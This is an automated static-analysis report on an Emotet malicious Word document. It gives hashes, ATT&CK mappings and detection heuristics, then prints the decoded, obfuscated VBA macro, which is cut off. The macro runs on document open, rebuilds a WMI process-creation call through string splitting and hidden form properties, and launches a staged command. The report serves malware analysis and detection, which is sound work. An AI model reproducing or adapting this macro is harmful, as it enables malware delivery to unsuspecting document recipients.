Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ed7a62696ea5527e…

MALICIOUS

Office (OLE)

229.4 KB Created: 2020-08-13 13:34:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: e1f8623119032fc7fbc34886d014f207 SHA-1: 81369929164f2c558649c52a24a11b40d53bf2d6 SHA-256: ed7a62696ea5527e7d87b8b8d8d30ffda4674d3d981faf81685e7d704ccab943
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the 'Document_Open' macro and 'OLE_VBA_AUTOEXEC_EXEC' heuristic. This macro utilizes 'CreateObject' and appears to be designed to download and execute a second-stage payload, a common characteristic of Emotet. The ClamAV detection further supports the Emotet family attribution.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9317248-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9317248-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4301 bytes
SHA-256: 05e07efda5b79befc3c84113919e23c933242cf3b999162c1445e6ed618d6e09
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "XARMApjvjjmihwa"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
GVNCMjuwrsfqdhfvrt.IMDJUpaeopphltw
End Sub


Attribute VB_Name = "GVNCMjuwrsfqdhfvrt"
Attribute VB_Base = "0{5105CD43-F88B-4EEC-B6A6-E45235AEFD2A}{0F11F1F2-D206-461B-B077-B635B4824DBE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function IMDJUpaeopphltw()
NINEDrrlcnonxg = GVNCMjuwrsfqdhfvrt.Zoom
Dim EWtaT3ÄEfeU As Integer
EWtaT3ÄEfeU = 9
Do While EWtaT3ÄEfeU < 9 + 4
EWtaT3ÄEfeU = EWtaT3ÄEfeU + 6: DoEvents
Loop
BDLTVgidtlppbf = ChrW(NINEDrrlcnonxg + (100 + 35) / 9)
Dim WHEWC0ÅGtsV As String
WHEWC0ÅGtsV = Trim$("NZtncF7Ç")
GSBAGyjqcarlijtzov = "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671i832[sahj hui12t7gGG7&^6272 gasg671nm832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671gm832[sahj hui12t7gGG7&^6272 gasg671t832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671" + BDLTVgidtlppbf + "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671:832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671in832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg6713832[sahj hui12t7gGG7&^6272 gasg6712832[sahj hui12t7gGG7&^6272 gasg671_832[sahj hui12t7gGG7&^6272 gasg671" + GVNCMjuwrsfqdhfvrt.VNMSCbhkbswxd + "832[sahj hui12t7gGG7&^6272 gasg671ro832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671ce832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671"
Dim Xw3Î8ÍKy1Ñw As Byte
JTRGZuudmaoe = LJZNQeocxzskhgk(GSBAGyjqcarlijtzov)
Dim KUm3Y4Áw0ÔA As Integer
KUm3Y4Áw0ÔA = 4
Do While KUm3Y4Áw0ÔA < 4 + 8
KUm3Y4Áw0ÔA = KUm3Y4Áw0ÔA + 8: DoEvents
Loop
Set XELFNsanjmetbgvs = CreateObject(JTRGZuudmaoe)
Dim QXD As String
QXD = Trim$("DHBnPjfiN")
SFFGKnkzerisyyxloed = GVNCMjuwrsfqdhfvrt.YUJPTwbpnlntxrvohod.ControlTipText
Dim m1ÝkpiV8ÔN As Variant
MBDSHnxlzsgukznbr = SOJSRvsicutkiygw + (JTRGZuudmaoe + BDLTVgidtlppbf + GVNCMjuwrsfqdhfvrt.FZYKUjobbfsndyy.ControlTipText + SFFGKnkzerisyyxloed)
Dim gs2ËgnTcKiQ As String
YRAEKhnpdofs = MBDSHnxlzsgukznbr + GVNCMjuwrsfqdhfvrt.VNMSCbhkbswxd
Dim N0ÚPb8Ì As Double
Set DYWLWkdanjkucwoh = HAMVVfxmbsedquponf(YRAEKhnpdofs)
Dim GqCGSFodc As String
GqCGSFodc = Trim$("Mv1Ýf8ÈoY4Ý")
LHNTPvakhsrbzzlo = Array(GXEKFlkuwnam + "CUKLXkcvdtjhkda DVIWGsjsdfwdzs ZXWPXqocblhdev", XELFNsanjmetbgvs. _
Create(HHBPMawuqhwypo, VHKNTrsqekls, DYWLWkdanjkucwoh), ROYWKkjknncqot + "KYPEXakotlyqgg FLXGKmmlstlshuhxe")
Dim ZWpUHiEAD As String
ZWpUHiEAD = Trim$("VabiuX")
End Function
Function HAMVVfxmbsedquponf(APCZVessorwgiiclkvk)
Set HAMVVfxmbsedquponf = CreateObject(APCZVessorwgiiclkvk)
Dim yllcsJLnKV As Integer
yllcsJLnKV = 9
Do While yllcsJLnKV < 9 + 5
yllcsJLnKV = yllcsJLnKV + 1: DoEvents
Loop
HAMVVfxmbsedquponf. _
showwindow = LGFVGuhhafllucdwirs + IUXNWlmiculntr
Dim a4Õg As Object
End Function
Function LJZNQeocxzskhgk(WIMPPhqhyyiiuo)
IGUZVdybluwpxheflc = WIMPPhqhyyiiuo
Dim nGcyUDpZ As Byte
BRRDNiufmwunj = Split _
(IGUZVdybluwpxheflc, "832[sahj hui12t7gGG7&^6272 gasg671")
Dim EA4ØDwC5ÔrtA As Double
TDQUBtrdlaref = ALKEDzdmhahzipllpe + Join(BRRDNiufmwunj, QRIRYviyeguxrcickym)
Dim C7ÜYg As String
C7ÜYg = Trim$("nCtJBfnGcy")
LJZNQeocxzskhgk = TDQUBtrdlaref
Dim kFPSyh As Object
End Function
Function HHBPMawuqhwypo()
Dim ctRwWF As String
ctRwWF = Trim$("dJSt4Äf")
Dim Hd2EFS7Ë2Àe As String
Hd2EFS7Ë2Àe = Trim$("X8åCfRdv")
Dim gbdGcnr As String
gbdGcnr = Trim$("kYI")
LJDODikarcwpjfelr = GVNCMjuwrsfqdhfvrt.TGYNXmnrevkohuwrk.Pages(vbOK).Tag
Dim AhGo2ÒY3Õbo As String
AhGo2ÒY3Õbo = Trim$("yo3ÊdOZdWK")
HHBPMawuqhwy
... (truncated)